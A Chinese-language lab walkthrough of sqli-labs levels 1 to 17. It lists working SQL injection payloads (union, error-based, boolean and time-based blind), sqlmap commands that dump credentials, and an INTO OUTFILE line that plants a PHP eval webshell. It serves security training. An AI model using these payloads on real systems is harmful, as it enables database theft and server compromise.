Sqli-labs
项目地址:Audi-1/sqli-labs: SQLI labs to test error based, Blind boolean based, Time based.
环境信息:MySQL8.0.12,Nginx1.15.11,php5.6.9nts
参考文章:sqli-labs 通关详解(sql注入知识点整理)_51CTO博客_sqli-labs注入天书
Less-1
最基础的字符注入,可以使用如下语句来获取数据库信息:
测试是否有注入,存在报错
1 | http://127.0.0.1/Less-1/?id=' |
测试注入
1 | http://127.0.0.1/Less-1/?id=1' or 1=1 --+ |
可以正常执行
爆字段,发现为3时正常,说明字段有三个
1 | http://127.0.0.1/Less-1/?id=1' order by 4 --+ |
爆基础信息
1 | http://127.0.0.1/Less-1/?id=1' and 1=2 union select 1, version(), user() --+ |
可以发现,前端会显示后两个字段的信息,盲猜第一个字段是id相关信息。
我们通过group_concat
语句和information
库(After MySQL 5.0)来获取所有数据库信息
1 | http://127.0.0.1/Less-1/?id=1' and 1=2 union select 1, (select group_concat(schema_name) from information_schema.schemata), user() --+ |
再通过information_schema库中的tables表获取security库中所有的表
1 | http://127.0.0.1/Less-1/?id=1' and 1=2 union select 1, (select group_concat(schema_name) from information_schema.schemata), (select group_concat(table_name) from information_schema.tables where table_schema='security') --+ |
然后我们看下security库中users表有哪些字段
1 | http://127.0.0.1/Less-1/?id=1' and 1=2 union select 1, (select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'), (select group_concat(table_name) from information_schema.tables where table_schema='security') --+ |
那就把username和password都爆出来
1 | http://127.0.0.1/Less-1/?id=1' and 1=2 union select 1, (select group_concat(username) from security.users), (select group_concat(password) from security.users) --+ |
可以看到用户名和对应的密码都爆出来了
Less-2
同理,输入'
,发现存在报错
那么我们怎么判断是否是整数数据,我们可以使用简单的运算符看正不正常,比如6-2
发现是可以的,说明不是字符注入,和第一关的区别就是不用加单引号了,其余的都是一样的。
Less-3
测试注入
可以发现,报错信息显示"1")
,说明可能是使用了括号包起来,那么我们多用一个括号来闭合
后面的就都一样了
Less-4
发现单独的单引号括号都不报错,使用双引号报错。
从报错信息可以看到三个双引号和一个括号,因此可以知道使用了双引号和括号闭合。
因此后面都是一样的
Less-5
发现这里成功登录后,只显示成功进入。但是报错依然回显。
参考文章:SQL注入实战之报错注入篇(updatexml extractvalue floor) - 陈子硕 - 博客园
回显正常—> 联合查询 union select
回显报错—> Duplicate entry()
extractvalue()
updatexml()盲注—>布尔型盲注
基于时间的盲注sleep()在mysql高版本(大于5.1版本)中添加了对XML文档进行查询和修改的函数:
updatexml()
extractvalue()
当这两个函数在执行时,如果出现xml文档路径错误就会产生报错
updatexml()函数
- updatexml()是一个使用不同的xml标记匹配和替换xml块的函数。
- 作用:改变文档中符合条件的节点的值
- 语法: updatexml(XML_document,XPath_string,new_value) 第一个参数:是string格式,为XML文档对象的名称。第二个参数:代表路径,Xpath格式的字符串。第三个参数:string格式,替换查找到的符合条件的数据
- updatexml使用时,当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax)
- 例如: select * from test where ide = 1 and (updatexml(1,0x7e,3)); 由于0x7e是~,不属于xpath语法格式,因此报出xpath语法错误。
那么我们可以使用报错注入。人为构造报错语句,同时将一些结果回显到报错信息中。
1 | http://127.0.0.1/Less-5/?id=1' and updatexml(1,concat(0x7e,database(),0x7e,user(),0x7e,@@datadir),1)--+ |
于是就可以通过这有限长度的报错信息回显数据
1 | http://127.0.0.1/Less-5/?id=1' and updatexml(1,concat(0x7e,database(),0x7e,(select count(username) from security.users),0x7e,(select username from security.users limit 2,1)),1)--+ |
Less-6
使用单引号无回显,使用双引号报错。
同样使用报错注入。
Less-7
这一关要我们使用outfile
函数
这个函数作用就是将查询结果导出到一个外部文件。
类似的函数还有dumpfile
,但是只能导出一行结果。
还有load_file
文件,可以加载导出的文件,和outfile相反。
outfile
函数必须要有secure_file_priv
全局环境变量,用于限制LOAD DATA, SELECT …OUTFILE, LOAD_FILE()传到哪个指定目录
secure_file_priv 为 NULL 时,表示限制mysqld不允许导入或导出。
secure_file_priv 为 /tmp 时,表示限制mysqld只能在/tmp目录中执行导入导出,其他目录不能执行
secure_file_priv 没有值时,表示不限制mysqld在任意目录的导入导出。
查看secure环境变量:
1 | SHOW GLOBAL VARIABLES LIKE '%secure%'; |
参考文章:mysql5.7导出数据提示–secure-file-priv选项问题的解决方法_傲雪星枫的博客-CSDN博客
例如我们可以这样导出结果:
1 | SELECT * FROM users INTO OUTFILE "D:/Desktop/1.txt"; |
导出结果如图所示
因为需要知道secure_file_priv的值才能知道我们能导出到那些路径。所以需要先搞清楚这个值。爆出绝对路径。
这里使用单引号闭合无效,最后使用单引号+双右括号才闭合。查看源码:
我们可以写个一句话出来。
1 | http://127.0.0.1/Less-7/?id=1')) and 1=2 union select "","","<?php @eval($_GET['pass']); ?>" into outfile "d:/desktop/yjh.php" --+ |
Less-8
正常传参,发现无回显
也没有报错
但是我们可以知道是否成功登录,那我们就布尔盲注吧,比如我们要知道数据库的长度
1 | http://127.0.0.1/Less-8/?id=1' and length(database())=8 --+ |
说明数据库字符串长度为8,如果为别的值,相当于sql没有结果,服务端就认为你登录失败了,不会有回显。
那么更多的信息,我们就要使用脚本或者sqlmap。需要先爆长度,然后截断,用二分法爆每一位的ascii码值,慢慢爆出完整的数据,效率极低因此我们几乎不会用手工注入。
Less-9
先测试正常登录,然后测试永真条件,再试试永假条件,发现全部显示you are in。因此前面的注入方式都不可行,没有任何回显(包括是否成功登录)。所以我们只能时间盲注了。
SQL中if表达式:
1 | IF( expr1 , expr2 , expr3 ) |
- expr1 的值为 TRUE,则返回值为 expr2
- expr1 的值为FALSE,则返回值为 expr3
区别就是将条件改为sleep。原理是一样的。比如我们测试数据库名的长度:
1 | http://127.0.0.1/Less-9/?id=1' AND IF(LENGTH(DATABASE())=8, SLEEP(1), 0) --+ |
这样如果数据库长度为8那么就会休眠1秒。
这里有个技巧,我们一般是结果正确进行休眠,因为测试出错误的结果的概率是远大于正确的,所以在错误的结果出现时立即返回而不睡眠可以提高盲注效率。
再例如爆破database的第一个字符:
1 | http://127.0.0.1/Less-9/?id=1' AND IF(ASCII(SUBSTR(DATABASE(), 1, 1))=115, SLEEP(1), 0) --+ |
手动修改判断条件,发现在等于115时响应明显减速,因此database第一个字符ascii码为115,刚好是s。
写个二分时间盲注脚本试试:
1 | import requests |
效果还行
Less-10
这一关和上一关一样盲注,于是我们使用类似上一关的语句进行注入,同时我们可以把条件改为永真来测试是否有语法错误。发现使用的是双引号闭合。
1 | http://127.0.0.1/Less-10/?id=1" AND IF(115=115, SLEEP(1), 0) --+ |
其他的就是一样的了。
Less-11
这一关使用了登录框和POST表单提交,于是请出BurpSuite(也可以直接在登陆框注),放到Repeater里测试
在passwd参数后进行布尔注入(盲猜语句是select * from users where username=’$uname’ and password=’$passwd’,因此在username后注可能会更好,把后面多余的部分都注释掉),成功登录
试试爆出其他信息。字段只有2个,而不是前面的3个。
其他的都是一样的了。要注意的是POST提交可以不用URL编码。
Less-12
这里登陆框输个单引号无效,输个双引号发现后面语句全出来了
需要注意的是如果你两个登录框都输入双引号:
你会发现什么错都不会报。
我们看源码的语句:
1 | SELECT username, PASSWORD FROM users WHERE username=(""") and password=(""") LIMIT 0,1; |
原因是username左括号和password右括号之间形成了完美闭合,因此这种情况我们要多加注意,不是没有注入,而是刚好闭合了。这个多引号的问题好像还可以研究一下。
Less-13
单引号,通过报错获知闭合语句,使用单引号和右括号给uname闭合,发现只有成功登录回显。同时我们有报错信息,因此我们使用报错注入。
1 | uname=1') and updatexml(1,concat(0x7e,database(),0x7e,user(),0x7e,@@datadir),1) -- &passwd=&submit=Submit |
Less-14
使用双引号闭合
Less-15
这里没有了报错信息,只能显示是否成功登录,我们可以用布尔盲注。
1 | ' OR LENGTH(DATABASE())=8-- |
再用sqlmap试试
1 | sqlmap -u "http://192.168.190.1/Less-15/" --data="uname=1&passwd=1&submit=Submit" |
可以看到帮我们测试出uname参数存在时间盲注。之前的第八关可以测出布尔盲注,但是这里只能测出时间盲注,可能sqlmap无法通过图片判断是否回显。
可以看到sqlmap还帮我们识别出了MySQL、Nginx、PHP的版本。
Less-16
对于这种前端没有计算的简单表单提交接口,我们直接使用sqlmap来跑。这一关使用默认POST表单提交方式运行sqlmap显示不可被注入:
1 | sqlmap -u "http://192.168.190.1/Less-16/" --data="uname=a&passwd=b&submit=Submit" |
我们直接把风险等级和测试等级调到最高:
1 | sqlmap -u "http://192.168.190.1/Less-16/" --data="uname=a&passwd=b&submit=Submit" --level=5 --risk=3 |
测试时间会比默认等级长。测试结果如下:
1 | POST parameter 'uname' is vulnerable. Do you want to keep testing the others (if any)? [y/N] |
可以看到这里使用了")
闭合,默认等级sqlmap不会测试这些语句,需要更高等级才能测试出来。
手动注入,发现其实前端是有是否成功登录的回显的,因此我们也可以使用布尔盲注。
比如可以这样注入:
1 | qweasdzxcedcwsxqaz") or (length(database())=9)--+ |
Less-17
这一关显示是重设密码页面。输入框包含:用户名、新密码。这页面也太简单了,CSRF都不防范,我们sqlmap跑一波
1 | sqlmap -u "http://192.168.190.1/Less-17/" --data="uname=a&passwd=b&submit=Submit" --level=5 --risk=3 |
跑了贼久,显示不可注入。
仔细想想,这里只需要输入用户名和新密码,那么用户肯定是知道用户名的。我们随便用一个用户名模拟用户在后台修改密码的情况。
1 | sqlmap -u "http://192.168.190.1/Less-17/" --data="uname=Dumb&passwd=b&submit=Submit" |
有报错注入:
1 | sqlmap identified the following injection point(s) with a total of 1051 HTTP(s) requests: |
报错注入和时间盲注。那么就好办了。
修改密码,要用到UPDATE函数,针对它来进行注入。
查看源码,发现先对用户名进行查询,如果查不到用户就显示错误。那么我们想一下,基于是否报错能否进行布尔盲注?应该是可以的,我们只对用户名进行盲注就好了。但是查看源码,发现对uname进行了检查。
所以这里只能对passwd注入了。
sqlmap简单使用:
--current-db
查看当前数据库
--users
查看所有用户
--password
查看密码(--passwords
)
输出:
1 | [23:15:01] [INFO] fetching database users password hashes |
还帮你用字典爆破了哈希。
查看所有数据库:
1 | sqlmap -u "http://192.168.190.1/Less-17/" --data="uname=Dumb&passwd=b&submit=Submit" --dbs |
使用-v
符号可以调整sqlmap的日志等级,然后就可以查看sqlmap的请求过程
查看所有表:
-D 库名 –tables
1 | sqlmap -u "http://192.168.190.1/Less-17/" --data="uname=Dumb&passwd=b&submit=Submit" -D security --tables |
查看所有字段:
1 | sqlmap -u "http://192.168.190.1/Less-17/" --data="uname=Dumb&passwd=b&submit=Submit" -D security -T users --column |
dump数据:
1 | sqlmap -u "http://192.168.190.1/Less-17/" --data="uname=Dumb&passwd=b&submit=Submit" --dump -T users -D security -C "id,username,password" |
出来全是NULL,我们看下sqlmap请求了什么
1 | uname=Dumb&passwd=b' WHERE 9694=9694 AND GTID_SUBSET(CONCAT(0x717a6b7a71,(SELECT (CASE WHEN ((SELECT COUNT(username) FROM security.users)>0) THEN 1 ELSE 0 END)),0x7162626b71),4465)-- fLVm&submit=Submit |
原因应该是不能在UPDATE时对表进行查询。
可以参考这个:MySQL数据库同时查询更新同一张表_younglao的博客-CSDN博客_mysql同时操作同一条数据